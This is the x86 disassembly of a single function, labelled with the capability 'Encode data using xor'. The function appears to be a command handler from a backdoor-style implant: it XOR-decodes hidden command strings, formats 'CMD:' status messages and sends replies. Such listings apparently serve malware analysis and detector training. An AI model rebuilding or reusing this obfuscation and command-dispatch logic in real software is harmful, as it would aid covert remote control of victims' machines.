Function at 0x402400
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
push ebx
push esi
mov si, ax
push edi
test si, si
je 0x40285a
push 0x3ff
lea eax, [ebp - 0x82b]
push 0
push eax
mov byte [ebp - 0x82c], 0
call fcn.00402af0
add esp, 0xc
push 0x3ff
lea ecx, [ebp - 0x42b]
push 0
push ecx
mov byte [ebp - 0x42c], 0
call fcn.00402af0
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [ebp + 0xc]
movzx eax, si
push eax
push ecx
lea edx, [ebp - 0x82c]
push edx
call fcn.00402ba0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push str.___LJJK_N_
lea eax, [ebp - 0x18]
push eax
call edi
cmp byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
je 0x40249b
mov ecx, eax
nop
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402490
movzx ecx, word [ebp - 0x1c]
movzx edx, word [ebp - 0x1e]
movzx eax, word [ebp - 0x20]
push ecx
movzx ecx, word [ebp - 0x28]
push edx
movzx edx, word [ebp - 0x26]
push eax
movzx eax, word [ebp - 0x22]
push ecx
push edx
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x82c]
push edx
lea eax, [ebp - 0x42c]
push str._r_nCMD:_s__s__d__d__d__d:_d:_d_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
lea ecx, [ebp - 0x42c]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [0x405030]
inc eax
push eax
mov eax, dword [ebp + 8]
push 0
push eax
mov ecx, 0xa021
call fcn.00401d50
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpA]
add esp, 0x10
push 0x40415f
lea ecx, [ebp - 0x82c]
push ecx
call ebx
test eax, eax
je 0x40285a
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x82c]
call fcn.004011d0
mov esi, eax
mov eax, dword [esi]
add esp, 4
cmp byte [eax], 0
je 0x402549
jmp 0x402540
xor byte [eax], 0xf
inc eax
cmp byte [eax], 0
jne 0x402540
mov eax, dword [esi]
push str.fajync
push eax
call ebx
test eax, eax
jne 0x4025ee
push str.Fajync_f_j__
lea ecx, [ebp - 0x18]
push ecx
call edi
mov edx, dword [esi + 4]
push edx
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov esi, eax
imul esi, esi, 0xea60
cmp byte [ebp - 0x18], 0
mov dword [0x405028], esi
lea eax, [ebp - 0x18]
je 0x40259b
mov ecx, eax
lea esp, [esp]
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402590
mov eax, 0x88888889
imul esi
add edx, esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x42c]
push str._s__d_min_r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x42c]
push eax
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x402824
mov ecx, dword [esi]
push str.k_xac_nkjwjl
push ecx
call ebx
test eax, eax
jne 0x4026e4
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
call fcn.004010b0
test eax, eax
jne 0x402649
push str.K_xac_nk_infczj
lea edx, [ebp - 0x42c]
push edx
call edi
lea eax, [ebp - 0x42c]
call fcn.004017b0
push 0x404230
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x42c]
push eax
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x402823
push str.K_xac_nk_zllj
lea ecx, [ebp - 0x42c]
push ecx
call edi
lea eax, [ebp - 0x42c]
call fcn.004017b0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x404230
mov edx, eax
push edx
call edi
mov ebx, dword [esi + 8]
call section..text
test eax, eax
lea eax, [ebp - 0x18]
jne 0x4026a1
push str.Jwjlzf_a_infczj
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x18]
call fcn.004017b0
push eax
lea ecx, [ebp - 0x42c]
push ecx
call edi
jmp 0x4026c1
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.Jwjlzf_a_zllj
push eax
call esi
lea eax, [ebp - 0x18]
call fcn.004017b0
push eax
lea ecx, [ebp - 0x42c]
push ecx
call esi
push 0x404230
lea edx, [ebp - 0x42c]
push edx
call edi
lea eax, [ebp - 0x42c]
push eax
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x402823
mov ecx, dword [esi]
push str.jwjl
push ecx
call ebx
test eax, eax
jne 0x4027a1
push 0x20
lea edx, [ebp - 0x82c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrChrA]
test eax, eax
jne 0x40270e
lea eax, [ebp - 0x18]
jmp 0x40271d
lea ebx, [eax + 1]
call section..text
test eax, eax
lea eax, [ebp - 0x18]
jne 0x402760
push str.Jwjlzf_a_infczj
push eax
call edi
lea eax, [ebp - 0x18]
call fcn.004017b0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push eax
lea ecx, [ebp - 0x42c]
push ecx
call esi
push 0x404230
lea edx, [ebp - 0x42c]
push edx
call esi
lea eax, [ebp - 0x42c]
push eax
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x402823
push str.Jwjlzf_a_zllj
push eax
call edi
lea eax, [ebp - 0x18]
call fcn.004017b0
push eax
lea ecx, [ebp - 0x42c]
push ecx
call edi
push 0x404230
lea edx, [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x42c]
push eax
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x402823
mov ecx, dword [esi]
push str.k_xac_nk
push ecx
call ebx
test eax, eax
jne 0x402847
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
call fcn.004010b0
test eax, eax
jne 0x4027e3
push str.K_xac_nk_infczj
lea edx, [ebp - 0x42c]
push edx
call edi
lea eax, [ebp - 0x42c]
call fcn.004017b0
push 0x404230
push eax
jmp 0x402804
push str.K_xac_nk_zllj
lea ecx, [ebp - 0x42c]
push ecx
call edi
lea eax, [ebp - 0x42c]
call fcn.004017b0
push 0x404230
mov edx, eax
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x42c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402813
lea ecx, [ebp - 0x42c]
sub eax, edx
push ecx
inc eax
mov edx, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 8]
push edx
mov edx, dword [0x405030]
push eax
mov ecx, 0xa021
call fcn.00401d50
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x82c]
push ecx
push edx
call fcn.004020a0
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret